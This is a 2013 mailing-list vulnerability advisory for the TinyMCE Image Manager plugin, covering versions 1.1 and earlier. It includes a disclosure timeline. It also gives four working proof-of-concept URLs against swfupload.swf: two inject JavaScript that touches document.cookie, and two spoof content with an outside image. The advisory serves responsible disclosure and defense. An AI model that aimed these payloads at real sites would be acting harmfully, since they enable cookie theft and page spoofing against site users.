Hello list!

These are Cross-Site Scripting and Content Spoofing vulnerabilities in 
TinyMCE Image Manager plugin for TinyMCE.

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Affected products:
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Vulnerable are TinyMCE Image Manager 1.1 and previous versions.

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Affected vendors:
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Dustweb
http://dustweb.ru/projects/tinymce_images/

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Details:
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Cross-Site Scripting (WASC-08):

http://site/path/images/js/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//

http://site/path/images/js/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Content Spoofing (WASC-12):

http://site/path/images/js/swfupload/swfupload.swf?buttonText=test%3Cimg%20src=%27http://demo.swfupload.org/v220/images/logo.gif%27%3E

http://site/path/images/js/swfupload/swfupload.swf?buttonImageURL=http://demo.swfupload.org/v220/images/logo.gif

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Timeline:
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2013.05.18 - announced at my site.
2013.05.18 - informed developer.
2013.07.12 - disclosed at my site (http://websecurity.com.ua/6517/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua